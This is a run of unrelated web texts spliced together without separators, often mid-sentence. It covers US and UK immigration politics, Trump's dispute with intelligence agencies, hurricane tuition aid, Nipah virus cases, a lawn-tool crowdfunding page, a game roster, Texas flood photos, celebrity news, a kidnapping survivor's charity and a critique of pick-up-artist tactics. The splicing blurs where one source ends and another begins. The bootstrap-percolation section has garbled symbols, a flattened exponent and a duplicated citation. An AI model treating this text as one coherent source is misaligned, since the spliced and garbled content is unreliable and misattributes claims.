The stereotype of immigrants as violent criminals has been used by GOP candidate Donald Trump, who kicked off his presidential campaign with choice words on immigration. “When Mexico sends its people, they’re not sending their best,” Trump said. “They’re not sending you. They’re not sending you. They’re sending people that have lots of problems, and they’re bringing those problems with us. They’re bringing drugs. They’re bringing crime. They’re rapists. And some, I assume, are good people.” In contrast to Trump’s statements, the report claimed that “increased prevalence of immigrants is associated with lower crime rates,” and that “among men age 18-39, the foreign-born are incarcerated at a rate that is one-fourth the rate for the native-born.” [pull_quote_center]Cities and neighborhoods with greater concentrations of immigrants have much lower rates of crime and violence than comparable nonimmigrant neighborhoods. This phenomenon is reflected not only across space but also over time.[/pull_quote_center] The report noted that there is also evidence that crime rates for the second and third generations from immigrant families “rise to more closely match the general population of native-born Americans.” Louisiana Gov. Bobby Jindal, whose parents are Indian immigrants, used the idea of a lack of immigrant assimilation to criticize the presence of “hyphenated Americans,” using the phrase “immigration without assimilation is invasion.” “We need to insist people that want to come to our country should come legally, should learn English and adopt our values, roll up their sleeves, and get to work,” Jindal said. According to the report, current immigrants and their descendants are integrating into U.S. society, and they have found that the outcomes of “educational attainment, occupational distribution, income, residential integration, language ability, and living above the poverty line,” increase when they “become more similar to the native-born and improve their situation over time.” [pull_quote_center]Across all measurable outcomes, integration increases over time, with immigrants becoming more like the native-born with more time in the country, and with the second and third generations becoming more like other native-born Americans than their parents were.[/pull_quote_center] For more election coverage, click here.After Hurricane Maria devastated the island territory of Puerto Rico, Florida schools started offering all kinds of help — organizing donation drives, reducing tuition and even offering free room and board.
The storm knocked out power and water around the island, leaving millions in desperate conditions as aid slowly trickles in.
Read More: Aid flows to Puerto Rico but many still lack water and food
Gov. Rick Scott asked state universities and colleges to waive the out-of-state tuition fee for Puerto Rican students, and schools across the state have taken his recommendation, including Broward College and Miami Dade College.
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At Florida International University, which also served as a hurricane shelter for special needs evacuees from Puerto Rico and the Florida Keys, that waiver has been extended to students from the U.S. Virgin Islands. That financial relief comes in the form of a fee refund this fall, but in the spring it will be automatically waived by the university.
Other schools took extra steps to aid hurricane victims.
St. Thomas University will pay for housing and a meal plan for the first 100 students from Puerto Rico and the Caribbean to apply. The application process to the university has been shortened and expedited for students from the affected islands.Image copyright AFP Image caption Mr Farage said the proposals would definitely be in the party's general election manifesto
UKIP would restrict migrants over the age of 45 from coming to the UK, Nigel Farage has said.
He told LBC Radio his party would adopt "sensible" measures to control unskilled migration based on an Australian-points based system.
Those with criminal records and life-threatening illnesses would be barred.
Mr Farage also said he would clarify within weeks where in his home county of Kent he would stand for Parliament at the general election next year.
The UKIP leader said the centrepiece of his party's immigration proposals in its election manifesto would be a version of the points-based system introduced in Australia by its former prime minister John Howard.
'Part of us'
In Australia, migrants are required to answer a series of questions about their skills, for which they are awarded points. Applicants need at least 65 points or their request for a visa will be rejected.
Mr Farage said the approach was "sensible" and should be adopted in Britain.
"The Aussies have a points system and they say to come to Australia you must be under 45 years of age, you must have a skill or a trade that will bring a benefit to our country.
Image copyright Getty Images Image caption UKIP said it supported the controls introduced in Australia by John Howard
"They say if you have a life threatening disease, I'm sorry but we can't accommodate you. They say if you have a serious criminal record we won't have you...
"What they also say is we don't care whether you're black or white or yellow or what your religion is but if you come to our country and you come here to take citizenship you become part of us and you become part of our Australian dream, namely the integrationist message. That is exactly what we should be doing."
MPs' pay
UKIP argues that the UK will not be able to control overall levels of immigration from the EU and specify who can come to the country until it leaves the European Union.
The last Labour government adopted a points-based system for migrants from outside the European Union, which was extended by the coalition government.
Applicants are separated into five 'tiers', with people having to pass a points-based assessment to be eligible for a visa, although the system is generally seen as less restrictive than the Australian one.
In his LBC interview, Mr Farage also suggested that MPs could be paid up to £100,000 if the UK left the EU.
While there was no case for increasing MPs' pay at the moment, he said that representatives of a "sovereign Parliament that actually ran this country" could expect to be paid much more than the £67,060 they earn now.
"If we paid MPs the same as the local headmaster of the local comprehensive, that would be about right," he added. "It would be £90,000 to £100,000."
Mr Farage said he would confirm which constituency he would stand in at the general election by the end of the month. He has been linked with the Thanet South constituency, where the Conservatives recently choose a previous UKIP leader as their candidate.(CNN) President-elect Donald Trump's feud with the intelligence community is taking on surreal overtones just over two weeks before his inauguration, raising the potential of unusual tension with the nation's top spies when he moves into the White House.
Unless he changes course, Trump will take office having invested more credibility in the views of Russian President Vladimir Putin and WikiLeaks fugitive Julian Assange than in leading US intelligence agencies.
His dismissal of assessments by US analysts that Russia meddled in November's election has already soured his ties with America's leading espionage agencies. But his move Wednesday to invoke Assange, who has spilled some of the nation's most closely held secrets, to raise questions about Russia's influence in American politics could poison his relations with rank-and-file intelligence operatives along with some leading Republicans on Capitol Hill.
Trump defended himself Thursday, tweeting: "The dishonest media likes saying that I am in Agreement with Julian Assange - wrong. I simply state what he states, it is for the people....to make up their own minds as to the truth. The media lies to make it look like I am against "Intelligence" when in fact I am a big fan!
The dishonest media likes saying that I am in Agreement with Julian Assange - wrong. I simply state what he states, it is for the people....
to make up their own minds as to the truth. The media lies to make it look like I am against "Intelligence" when in fact I am a big fan!
But the clash is ultimately a battle of wits between Trump, who never likes to admit he is wrong, and intelligence agencies that insist they have the evidence to back up their conclusions about the Kremlin's alleged election operation. The confrontation, and the political divisions it has opened, will be center stage on Thursday when Sen. John McCain presides over a Senate Armed Services Committee hearing on foreign cyber hacking that will include testimony from the Director of National Intelligence James Clapper.
"This is a power struggle like we have never seen before between an incoming president and the intelligence community," Rod Beckstrom, former head of the National Cybersecurity Center, told CNN's Brooke Baldwin Wednesday on "Newsroom." "In this case, Trump is making very clear from day one, 'I am the leader here, sit down and listen to me.' He's putting the (intelligence community) in an extremely difficult position."
Extraordinary decision
Trump's decision to cite Assange was extraordinary.
While he is viewed in some quarters of the world as a heroic whistleblower, Assange is wanted in Washington over the publication of hundreds of thousands of documents related to the Iraq War and classified embassy cables. Some US officials believe his disclosures endangered US troops serving the field. He has holed up in the Ecuadorian embassy in London since 2012 and returned to prominence Tuesday evening when an interview with Fox News' Sean Hannity -- one of Trump's biggest media backers -- aired.
Assange's entire philosophy is to undermine US and allied governments. That's what makes it so stunning that an incoming American president would go out of his way to cite him as a credible source.
Trump could hardly have cited a more radioactive figure had he been intending to insult US intelligence and State Department personnel who were left to deal with the fallout of one of the biggest leaks of classified intelligence ever.
"It's a sad day when politicians place more stock in Vladimir Putin and Julian Assange than in the Americans who risk their lives daily to provide objective non-partisan intelligence analysis," one US intelligence official told CNN.
Those views are shared by many Republicans.
"In Julian Assange's world, we're the bad guys," South Carolina Sen. Lindsey Graham told CNN Wednesday. "Not the Iranians, not the Russians, not the North Koreans."
He added: "You've got to remember who this guy is."
Trump's series of tweets on WikiLeaks were not his only new swipe at US spy chiefs. On Tuesday, he complained that a scheduled briefing he had requested on the alleged Russian hacking had been delayed until Friday.
"Perhaps more time needed to build a case. Very strange!" Trump tweeted.
Intelligence agency chiefs said the meeting with CIA Director John Brennan and James Clapper, the director of National Intelligence, was never due to take place before Friday.
Disconnect
The feud is already raising questions about how far the disconnect between the next president and the intelligence community -- which is at the fulcrum of everything the US government does in the world -- could harm US security.
"Let's stare this reality square in the face: PEOTUS is pro-Putin and believes Julian Assange over the @CIA. On Jan. 20 we will be less safe," said George Little, a former CIA spokesman, on Twitter.
Rep. Adam Schiff, the top Democrat on the House Intelligence Committee, said Trump's statements were alarming.
"That he would now cite people like Assange who have demonstrated universal hostility to the United States and its interests takes him into new and even more treacherous territory," he said in a statement. "With every conspiracy theory-laden tweet and erratic off-the-cuff comment, the President-elect does damage to our national security, while raising new concerns about his capacity to grow into the job."
Former House Intelligence Committee chairman Mike Rogers, a Republican who is now a CNN analyst, said Trump needed to undergo a "maturation process."
"He is going to need the CIA and the CIA is going to need him," he told CNN's Jim Scuitto on "The Lead."
Aides on Capitol Hill say GOP lawmakers are privately expressing disbelief and incredulity at Trump's continued insistence on believing Russia over the US intelligence community. Everything they have seen points to Russian responsibility for election-related activity, the aides say, and add that Republicans hope Trump comes around.
One theory that might explain his behavior is his extreme sensitivity to any suggestion that his November election triumph was not legitimate. He appears to view debate about Russia's role through that prism, and his aides have repeatedly tried to spin such talk as a Democratic plot to undermine him.
Some intelligence community officials believe that Trump's hostility might be based on a misunderstanding.
"The intelligence community is not saying that Vladimir Putin won the election for Trump," one official told CNN on Wednesday. "We're saying they did a series of things to sow doubt and some people think they wanted Trump to win, but no one has ever said they got into the mechanics of the ballot boxes."
If it lingers, the bad feeling between the President-elect and the spies he will soon command could also have a corrosive impact on the analysts and agents who do America's most secret work. There will be fears for morale, especially among those who serve in covert missions in hostile foreign theaters with only a promise of a star on the CIA's Memorial Wall if they are killed.
CNN Intelligence Analyst Phil Mudd, who worked in counter-intelligence for the CIA, warned that Trump risked badly damaging his credibility.
"Who enters a management relationship dissing the entire workforce before they even meet not only the workforce but talk to the leadership of the workforce?" Mudd asked.A prototype is a preliminary model of something. Projects that offer physical products need to show backers documentation of a working prototype. This gallery features photos, videos, and other visual documentation that will give backers a sense of what’s been accomplished so far and what’s left to do. Though the development process can vary for each project, these are the stages we typically see:
About
The SpeedyLeafer was an invention of necessity. Will and I work at least 40 hours every week so what little time we do get is precious to us. Needless to say, we wanted to spend as little time as possible on yard work. We built the first SpeedyLeafer for us with little thought of expansion, however as more and more of our neighbors urged us to build some for them we wondered if we could begin manufacturing them for anyone who wanted or needed one. The initial idea was over a year ago now, Will and I are finally ready share it with you.
One day at lunch I was talking to my good friend Will. I was telling him how I had spent all day Saturday picking up leaves from my yard and transferring them into 28 of the compostable bags which are required by Charleston county SC. He said, "Yeah, I got to do that this weekend. There no easy way to get the leaves into the paper bags, even if your lawnmower has a bagging attachment. I wish there was something that would pickup the leaves and put them directly into the compostable bags." "Let's make something that will!" I responded. And that is how the SpeedyLeafer idea was born.
That weekend Will and I got together and grabbed whatever we could find to make the first prototype. Which turned out to be two plastic bins turned upside down on top of a frame. This prototype failed, however the potential was there and we learned. We decided to build the next one out of wood to get the custom shape required. So every night after I put my kids to bed I went out to the garage and worked on the design.
The result of my labor on the second prototype looked like a chicken coop that had been run over by a tractor trailer. We mounted it to the riding lawnmower and it worked!! we were so happy. There were a lot of things to workout, but it worked. Once we began using it our neighbors wanted to try it too. We were astounded, people actually wanted to use our creation despite all the bugs and what it looked like. Our neighbors were a great source of feedback and gave us an outside view for modifications.
Will and I took what we had learned and went back to the drawing board. We got rid of the wood and chicken wire and contacted a local fabricator. Working with him, we created a new hood for the SpeedyLeafer. While that was being fabricated, Will and I were busy designing and building the new frame as well as mounts for major lawnmower brands.
Once everything was ready we painted it and created the video above. As you can tell from the video Will and I are not actors. We are regular people who created something to help themselves and now want to expand that idea to something that is available to everyone.
Because the SpeedyLeafer takes most of the manual labor out of picking up leaves, it is great for people who are elderly or unable to maintain their yard how they would like.Bangladesh reports nine Nipah virus cases to date in 2015
The Bangladesh Institute of Epidemiology, Disease Control and Research (IEDCR) has reported a total of nine human Nipah virus cases this year as of Feb. 2015. Of the nine cases, health officials report six fatalities, or a 67% case-fatality rate.
These cases are from 6 different districts. The districts are: Nilphamari, Ponchoghor, Faridpur, Magura, Naugaon, Rajbari. Median age of the Nipah cases 13 years (Range: 2 to 45 years). 5 (56%) were male.
One cluster was identified in Naugaon, consists of three Nipah encephalitis cases, according to the IEDCR. Of these two are laboratory confirmed cases. Numbers of isolated cases are 6.
According to the World Health Organization (WHO), in the Bangladesh and India outbreaks, consumption of fruits or fruit products (e.g. raw date palm juice) contaminated with urine or saliva from infected fruitbats was the most likely source of infection. Fruit bats of the family Pteropodidae – particularly species belonging to the Pteropus genus – are the natural hosts for Nipah virus. There is no apparent disease in fruit bats.
In more recent outbreaks of the disease, person-to-person transmission has been seen in Bangladesh and India.
Related: What is Nipah virus?
The disease in humans can range from asymptomatic infection to fatal encephalitis. Encephalitis and seizures occur in severe cases, progressing to coma within 24 to 48 hours.
The case fatality rate is estimated at 40% to 75%; however, this rate can vary by outbreak depending on local capabilities for surveillance investigations, according to the WHO.
Those who survive acute encephalitis make a full recovery, but around 20% are left with residualneurological consequences such as persistent convulsions and personality changes.
There is no treatment or vaccine available for either people or animals.
Nipah virus was first detected in Malaysia in 1998 but at present Bangladesh, a hotspot for infectious diseases, is the only country in the world that reports the disease.
Related: The World’s Deadliest VirusesLaura Jane Grace, the lead vocalist for the punk-rock band Against Me!, came out as transgender in 2012. Since then, she has been open and honest about her transition, including in a conversation with HuffPost Live on Monday.
Grace spoke with host Marc Lamont Hill about her new AOL original series "True Trans With Laura Jane Grace," and also addressed why her own coming out process was "complicated."
"It’s complicated because when I was younger, I had never heard terms like 'transgender' or 'transsexual' or anything like that. I was probably 14 [or] 15 when I first read about someone actually transitioning and knowing that was a reality," she said.
Alongside this lack of trans exposure in her early years, Grace's own coming out was further postponed as the band's popularity took off.
"I started playing in a band when I was 19 years old and started touring heavily, and that swept up a big chunk of my life and it was really easy for me to compartmentalize certain parts of myself and not think about certain things," Grace said. "Then it all built to a boiling point where I had to address what I was going through in order to continue to survive as a person."
When the punk rocker decided it was time for her to come out two years ago, she was met with both positive and negative reactions. She told Rolling Stone magazine in 2012 that coming out "completely ended" her relationship with her father. Her fan base, on the other hand, gave her an "overwhelming, humbling amount of support and understanding."As you can see below, they put their dirty dishes and cups into the replicator which then reverses the replication process (to allow the material to be used later);
From DS9 : Hard Time
KEIKO : Make sure to put your plate in the replicator. MOLLY : Okay. Molly picks up her plate and puts it in the replicator. It disappears...
and DS9 : The Ascent
SISKO : I'm afraid Jake's going through a phase of his own. (a beat) I don't know what's so difficult about putting a dirty plate back in the replicator.
There's also a note in the Star Trek TNG: Technical Manual that some replicated materials (water and clothing) are recovered through mechanical and chemical means whereas food is most often returned to the feedstock pile due to limits on resupplies while in space:A powerful group of Buckhead business leaders has joined the opposition to a GDOT-backed plan to reduce traffic lanes on a portion of Peachtree Road to accommodate bicyclists. The Buckhead Coalition has penned a letter to Russell McMurry, Georgia Commissioner of Transportation, stressing that an "overwhelming" majority of its members are opposed to restriping Peachtree Road from Peachtree Battle Avenue south to Deering Road. Doing so, they argue, wouldn't be safe for bicyclists, and they said as much in a press release Monday. In an interview with the Atlanta Business Chronicle, coalition leader Sam Massell basically said Buckhead is collectively too old to accept bike lanes — in that the area's older population far outnumbers millennials for the time being. (A majority of Buckheaders — Buckheadians? — under age 30 actually favor dedicated bike lanes, feedback shows). "We just have to be reasonable, put this thing aside and look at it again in a few years," Massell told the newspaper, adding: "It's hard enough to cope already with the congestion success has brought to us." Meanwhile, in a recent AJC op-ed, Tuxedo Park Civic Association president Mercy Sandberg-Wright joined the chorus of opposition, writing that GDOT and pro-bike-lane leaders such as Jim Durrett, Buckhead CID executive director, likely don't understand "how overwhelmed we are by current traffic and how we fear what will come." How long until "avid bicyclist" is considered a slur north of Midtown?Lilly Shaile (Revelation)
hirr
Northern Coalition.
stranac (Revelation)
Liga Freier Terraner
Northern Coalition.
Viktor Anatolia (Phoenix)
BURN EDEN
Northern Coalition.
Desudes (Archon)
Adversity.
Northern Coalition.
Mr50Naglfars (Naglfar)
Adversity.
Northern Coalition.
drewex (Archon)
Adversity.
Northern Coalition.
Skebet (Naglfar)
Evolution
Northern Coalition.
Igras Saisima (Naglfar)
BURN EDEN
Northern Coalition.
Martek Renalard (Naglfar)
hirr
Northern Coalition.
Act-Mack PVT (Moros)
Adversity.
Northern Coalition.
penken (Moros)
The Northerners
Northern Coalition.
Nechtan (Moros)
Burning Napalm
Northern Coalition.
bR Fortuna (Moros)
BURN EDEN
Northern Coalition.
Michael Oskold (Vindicator)
Adversity.
Northern Coalition.
Araris Valerian (Armageddon)
FinFleet
Northern Coalition.
Mythus Supremus (Tempest Fleet Issue)
Nex Exercitus
Northern Coalition.
Maggot1 (Tempest Fleet Issue)
Destructive Influence
Northern Coalition.
Zohan Hitzer (Tempest Fleet Issue)
Destructive Influence
Northern Coalition.
EvilDead12 (Tempest Fleet Issue)
Militaris Industries
Northern Coalition.
Nef Erator (Tempest Fleet Issue)
hirr
Northern Coalition.
Pure Vile (Tempest Fleet Issue)
The Northerners
Northern Coalition.
Masterdistucki (Tempest Fleet Issue)
Liga Freier Terraner
Northern Coalition.
Ben Walker (Tempest Fleet Issue)
The Northerners
Northern Coalition.
Raser11111 (Tempest Fleet Issue)
Liga Freier Terraner
Northern Coalition.
Batschi Aideron (Tempest Fleet Issue)
Macabre Votum
Northern Coalition.
Judy Mikakka (Tempest Fleet Issue)
BURN EDEN
Northern Coalition.
Arona Tulk (Tempest Fleet Issue)
Burning Napalm
Northern Coalition.
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of Texas Mid-American Geospatial Information Center)
AUSTIN — The state has removed aerial-surveillance photos taken during severe floods from a public website.
As floodwaters recede on the Lower Trinity River last year, what appears to be oil remains around a production site. The Texas Department of Public Safety earlier this month removed such photos from a public website, citing privacy concerns. (Photo: University of Texas Mid-American Geospatial Information Center)
The decision comes after the El Paso Times earlier this month published a story with dozens of such photos showing apparent oil spills in different river systems over the past few years.
A spokesman for the Texas Department of Public Safety, which oversees emergency response, said the photos were removed from a website run by the University of Texas at Austin because they hadn’t been vetted for privacy. He said the public could continue to request them through the Texas Public Information Act.
An environmental activist said, however, that the state appears to be trying to avoid accountability through the move.
When the State Operations Center swings into action during severe floods, the Texas Civil Air Patrol conducts daily flights documenting where floodwaters are and which infrastructure might be in jeopardy, including sewage treatment plants, fracking sites and oil wells.
At least since 2014, thousands of photos from those flights were published on the University of Texas at Austin’s Mid-American Geospatial Information Center’s website. Photos from earlier floods were taken down as they were replaced by those from more recent storms.
This year, photos of March flooding along the Sabine River — many of which appear to show oil spills — were replaced by photos of April flooding in Houston in which a number of sewage-treatment plants appeared to be inundated.
Those photos vanished from the site after the Times on May 1 published a story with an online gallery of more than 30 photos, including of apparent spills on the Trinity and Red rivers during floods in May and June 2015.
In an email, DPS spokesman Tom Vinger said the photos are intended to provide emergency-management officials “situational awareness” during disasters to protect lives and assess damage.
“In consultation with UT staff, the photos have been removed from the public domain, as they are not vetted for privacy concerns or related issues in real-time when uploaded during an emergency,” Vinger said. “Emergency officials will continue to have access to the photos for disaster-related and the public and media may still request access to the photos through the Public Information Act.”
However, several observers have been skeptical that the Texas Railroad Commission and other state agencies have kept adequate track of the spills or made sure that they were cleaned up properly. Removing photos from the website appears to be another attempt to avoid accountability, Ken Kramer, water resources chairman of the Lone Star Chapter of the Sierra Club, said Monday.
"The public has a right to know about flooding events that could pose a threat to their health and their environment,” Kramer said in an email. “Removing air surveillance photos of floods of oil and gas facilities from public access is a blow to transparency and accountability. It's ridiculous to say that this was done for privacy concerns.”
Marty Schladen can be reached at 512-479-6606; mschladen@elpasotimes.com; @martyschladen on Twitter.
Read or Share this story: http://www.elpasotimes.com/story/news/2016/05/21/state-removes-oil-spill-photos-public-view/84456926/When it comes to job interviews, preparation is key. But it’s not always easy for prospective employees to show interviewers who they are, and how well they’ve done their homework. The best chance comes when you’re asked the inevitable – but tricky – open-ended question: “What questions do you have?”
This is an interviewer’s chance to find out how much research you’ve done, how self-absorbed you are, and where your priorities lie.
There are good and bad ways to respond. If you want to mess up what might have been an otherwise successful interview, be sure to ask one of the following:
1. “What will my salary be?” -- followed by the even worse, “And how often do you give raises?
2. “What are your policies regarding vacation, time off, and breaks?”
3. “Can you tell me about your healthcare plan? Will my spouse be covered?”
The first questions reflect a “what’s in it for me?” attitude. The second two are the types of questions more appropriate for human resources than for your valuable time with a decision-maker. There’s plenty of time to learn about these issues if an offer is made.
So instead of asking questions about you, try asking a few about the place to which you may be devoting a great deal of your future time and energy:
1. “How can new employees become familiar with, and begin to contribute to, the culture you’ve developed here?
2. “What’s the most important way that your company differentiates itself from competitors?” (Focus the question on the particular industry you’re in, showing that you’re knowledgeable about the company and its sector.)
3. “What are a few of the most important challenges that the industry is facing, and how is your company going to approach them?
4. “What might I do to add the greatest value to the business?” -- followed by, “What kinds of things can I do to prepare myself for the job?”
These questions reveal three important things: that you know the company has a unique culture; that you understand that a successful business is ultimately about offering something unique to the market, and that you're already imagining yourself as part of a winning team.
If such an open-ended question scares you, don’t let it. If you’re ready, you can transform a challenge into an opportunity, and either get the job offer or get called back for a second interview — where your interviewers will remember how prepared you were for the toughest question of all.
****
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Photo: Monkey Business Images / shutterstock.comTyra Banks is strutting away from her daytime talk show.
The supermodel-turned-TV-tycoon will end her talk show after this season.
“The Tyra Banks Show,” which has won two Daytime Emmys and is currently in its fifth season, will wrap in the spring. Banks will shift her concentration to Bankable Studios, a New York-based film production company.
“As many of you know, several years ago I made the decision to leave modeling -- at the height of my modeling career -- and although it was the most terrifying move, it was the BEST decision and led to me fulfilling some big lifelong dreams,” Banks said in a statement to fans on her website. “Now, I'm a bit nervous and excited for my next HUGE steps which will allow me to reach MORE women and young girls to help us all feel as fierce as we truly are!
The announcement of her exit from daytime TV, first reported on People.com, comes on the heels -- no pun intended -- of the announcement by her longtime mentor, Oprah Winfrey, that she’ll leave her daytime post in 2011 to focus on OWN, the Oprah Winfrey Network.
[Updated at 1:51 p.m.: Most devastated by the announcement are probably the folks over at "The Soup." Clips from "The Tyra Banks Show" are a prominent feature on the weekly E! series, which pokes fun at the goings-on in pop culture.
“We’ll find a way to fill the hole," said K.P. Anderson, executive producer and head writer for "The Soup." "We lost [Tony] Danza and we moved on. Maybe she felt all the people watching daytime TV were as fierce as they could be and it was time to move on. We’ll miss the times when she really, really, really, firmly believed she had something to relate to the rest of the world. That show is a great clip source … and it absolutely helped contribute to our success. “
He added that “some form of tribute” on “The Soup” would only make sense when the show wraps production.
But the pop culture recap source won't be totally Tyra-free. There's still that "other" Tyra show.]Banks will continue her venture in reality TV as “America’s Next Top Model” enters its 14th season.
-- Yvonne Villarreal
Photo: Tyra Banks. Credit: Ricardo DeAratanha / Los Angeles TimesOTTAWA – The idea was conceived in captivity. It blossomed in a series of windowless rooms and was forged by the torture, fear and shackles that bound Amanda Lindhout for 15 months in southern Somalia. Her captors, Islamic fundamentalists affiliated with the Hizbul-Islam insurgent group, took away her freedom, her safety and threatened to take her life if millions of dollars in ransom money were not paid by her family and the family of Australian photojournalist Nigel Brennan.
Amanda Lindhout who endured 15 months being held hostage, is speaking out and raising money on behalf of women in Somalia. ( FACEBOOK IMAGE )
“Their belief system allowed them to abuse me in very specific ways … and it’s reflective of their view of women,” she said in an interview. “The same men who are placing all these outrageous restrictions on women’s freedoms in southern Somalia – that type of mentality – that’s what I had to deal with in captivity.” But the dozen teenaged boys who held her hostage also unwittingly gave her the spark that is now fuelling the 28-year-old Albertan, even as she tries to recover from her ordeal.
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“I used to wonder how they would have been different if they had had the opportunity to have an education, to understand something of a broader world view and learn something about tolerance,” she said. Six months after the Lindhout and Brennan families paid a reported $600,000 ransom for their release, the freelance journalist has become an advocate and aid worker. She is targeting the very nation that left her traumatized and her family in financial ruin with a scholarship that aims to send 100 Somali women to university annually for the next four years. “This has blown away our minds because for someone who went through what she went through to come back and say, ‘I want to do something to alleviate some of the suffering of the women there,’ it’s very very touching,” said Ahmed Hussen, president of the Canadian Somali Congress and co-director of Lindhout’s Global Enrichment Fund. “It’s a very real and tangible project because it’s going to educate these people in their own country.”
What Lindhout went through remains shrouded in a sort of cloak, one she is unwilling to pull back for the moment. She and Brennan were abducted along with a local driver, fixer and translator on Aug. 23, 2008, two days after arriving in Mogadishu. They were on their way to interview refugees at a camp.
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They were shuttled between up to a dozen safehouses while in captivity, but were poorly fed, beaten, tortured and locked in separate rooms, rarely seeing one another. All the while the threat of death hung over their heads as the kidnappers tried to negotiate a ransom payment for their release. Brennan, who has also said little since they were released, said that Lindhout was “severely beaten” and they both endured mental and physical torture. “Being pistol whipped is sort of torture,” he said. “Being completely stripped of everything and then locked in a room, no one to speak to, is a form of torture really." Still, they managed somehow to escape after five months, before being recaptured. “I won’t go into detail about it but there was a woman that day who risked her life in an attempt to save mine and that woman has made a very profound and lasting impression on me,” she said. “I’ll never forget her bravery. It was really remarkable.” Lindhout is aware of the other reports that emerged from local media and private security firms of her ordeal – that she was forced to convert to Islam, forced to marry one of her captors and gave birth to a child last July – but isn’t willing to discuss the details. She will only say that through her own suffering, she feels a kinship with many Somali women, particularly those of in the country’s south where the militia rule resembles that of the Taliban in Afghanistan and Pakistan. And that makes her life now, spent mostly with family and friends in Sylvan Lake, Alberta, all the more sweet. “It’s difficult to put into words what freedom feels like. You only know what freedom feels like if you know what it feels like to not be free,” she said. But Lindhout’s freedom hasn’t translated into free time. Her schedule is quickly filling up with requests for her to speak at universities, cultural groups, universities and companies. There’s also work she’s still undergoing with doctors and psychologists. And a letter arrived in the mail a few weeks ago accepting her into a post-graduate development program at St. Francis Xavier University in August. Last week she was in New York City where she had an invitation to meet the Dalai Lama. It is, she admits, moving, touching and confounding all at the same time. “Lots of weird stuff happens when you get kidnapped.” She’s also got money to raise, $400,000 over the next four years to meet the challenge she has set out for the Somali women’s scholarship. She is determined to succeed, despite seeing the difficulty raising such an amount has done to her family’s finances. And so Lindhout speaks. “I understand that because of my story people are willing to listen, and so … if I can use that platform to raise awareness to the conditions that women are enduring in Somalia then I think that’s a great thing and that’s not difficult for me to do.”Synopsis
'Bringing these characters together is an inspired move... To quote Strax, "A victory war cry is in order. Cheers!".' Martin Ruddock DWM
Strax, the Sontaran butler to Victorian investigator Vastra and her wife Jenny, suffers a disorienting attack and mistakes Jago & Litefoot for Jenny and Vastra and moves into Litefoot’s home. Together, they are on the trail of a creature that is stealing brains, which may or may not be linked to a haunted house in London...
To explore further adventures of Jago & Litefoot from Big Finish, click here.
Written By: Justin Richards
Directed By: Lisa Bowerman
Cast
Christopher Benjamin (Henry Gordon Jago), Trevor Baxter (Professor George Litefoot), Dan Starkey (Strax), Lisa Bowerman (Ellie), Conrad Asquith (Inspector Quick), Stephen Critchlow (Marvo) and Carolyn Seymour (Mrs Multravers)
Other parts played by the castOntario NDP Leader Andrea Horwath wants schools opened up at nights and weekends for use by community groups. Horwath used a Brampton stop to announce an “open schools” plan that would stay open even after students have gone home for the day.
Ontario NDP Leader Andrea Horwath meets with Vuttamjot Dhillon, 6, during a campaign stop at a Brampton library on Wednesday. Dhillion is the niece of Gurprett Dhillon, centre, the NDP candidate in the riding of Brampton-Springdale. ( Bruce Campion-Smith / Toronto Star )
“Schools serve a greater purpose than just that of education. They serve as the heart of a community,” she said Wednesday morning. She said an NDP government would $60 million a year to help school boards “keep the lights on, keep cleaning staff in place... to make sure those schools are accessible.” RELATED:
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Thursday at noon: Live blog as Wynne talks with Star editorial board More on the Ontario election She said the school spaces would be made available at a low cost or free for community organizations, likes seniors groups and sports clubs. Gurpreet Dhillon, the NDP candidate in Brampton-Springdale, called it an “awesome idea.”
“What it’s going to do is allow non-profits and other organizations to run after-school programs in our facilities. It will allow our kids to stay out of gangs, out of drugs and out of violence,” Dhillon said. “Not only is it an investment in our children, it’s an investment in our community,” said Dhillon, a youth organizer.
Read more about:Bootstrap Percolation
What is this?
Mathematics
&lambda = &pi2 / 18 = 0.548311...
Theory versus Experiment
&lambda = 0.245 ± 0.015,
different from the rigorous value above by more than a factor of two! The reason for the discrepancy seems to be that the convergence to the limiting constant 0.548311... is extremely slow, so even very large simulations do not come very close. In fact, combining the simulation results of [2] with the rigorous results of [6], one may (tentatively) estimate that in order to get close to the limiting value, one would need to simulate a square of about
100,000,000,000,000,000,000 by 100,000,000,000,000,000,000 (1020 by 1020) sites,
certainly well beyond the range of any computer!
Applications
References
Links:
Analysis of Local Growth Models. Lecture notes by Janko Gravner
Bootstrap Percolation in Eric Weisstein's Mathworld.
Articles:
[2] J. Adler, D. Stauffer and A. Aharony. Comparison of bootstrap percolation models. Journal of Physics A, 22:L297-L301, 1989.
[3] M. Aizenman and J. L. Lebowitz. Metastability effects in bootstrap percolation models. Journal of Physics A, 22:L297-L301, 1989.
[4] R. Cerf and F. Manzo. The threshold regime of finite volume bootstrap percolation. To appear.
[5] J. Gravner and D. Griffeath. First passage times for threshold growth dynamics on Zd. Annals of probability, 24(4):1752-1778, 1996.
[6] A. E. Holroyd. Sharp metastability threshold for two-dimensional bootstrap percolation. Probability Theory and Related Fields, 125(2):195-224, 2003.
[7] R. H. Schonamnn. On the behaviour of some cellular automata related to bootstrap percolation. Annals of probability, 20(1):174-193, 1992.The first time a man used a trick on me that he had learned from a pick-up artist (PUA), I did not do any of the things his guru had promised I would: I was not “intrigued”; I did not feel an urge to “impress” him; and nor did I immediately drop to my knees and start servicing him sexually – which was, no exaggeration, cited as a possible outcome. Instead, I walked away. In PUA parlance, I showed my “bitch shield”.
It was 2010 and I was single in New York, which meant that every time I went to a party a friend would insist on fixing me up with someone who they knew I would definitely love, if only because we worked in the same field. So I turned up to a friend’s party and was thrust in front of a 30-year-old dude who worked at GQ. He asked me what I did for work. I told him, and he laughed. He asked where I lived. I told him, and he made sarcastic comments. By the time he asked me where I grew up, I thought I was prepared for his reaction. I was wrong.
“Ohhhh, I know that part of town,” he smirked. “I used to tutor kids up there, but I couldn’t justify to myself giving an extra leg-up in life to spoilt kids, and dealing with their dumb-dumb parents. So can I have your number?” I told him to get it off my butler, and walked away.
I assumed he was just a weird one-off. Again, I was wrong. There was the 50-year-old news editor (“You work for a British paper? Does your wrist get sore copying stories off the New York Times website all day?”); the 25-year-old from a trendy literary magazine (“Has anyone else ever told you that you have a face like a rabbit?”); the 45-year-old arts critic (“I’m having a party. You probably shouldn’t come – it will be quite highbrow”). Eventually, I mentioned to a girlfriend that the men in this town all seemed to be jerks. She rolled her eyes: “It’s that negging thing. They all do it these days.”
“Negging” is a “negative hit”, or what you and I call an insult. PUAs teach their acolytes that if you insult a woman, she will be intrigued and see the man as a “challenge”, or what you and I call a jerk. The PUA mentality is that women should be psychologically (and sometimes physically) manipulated into having sex.
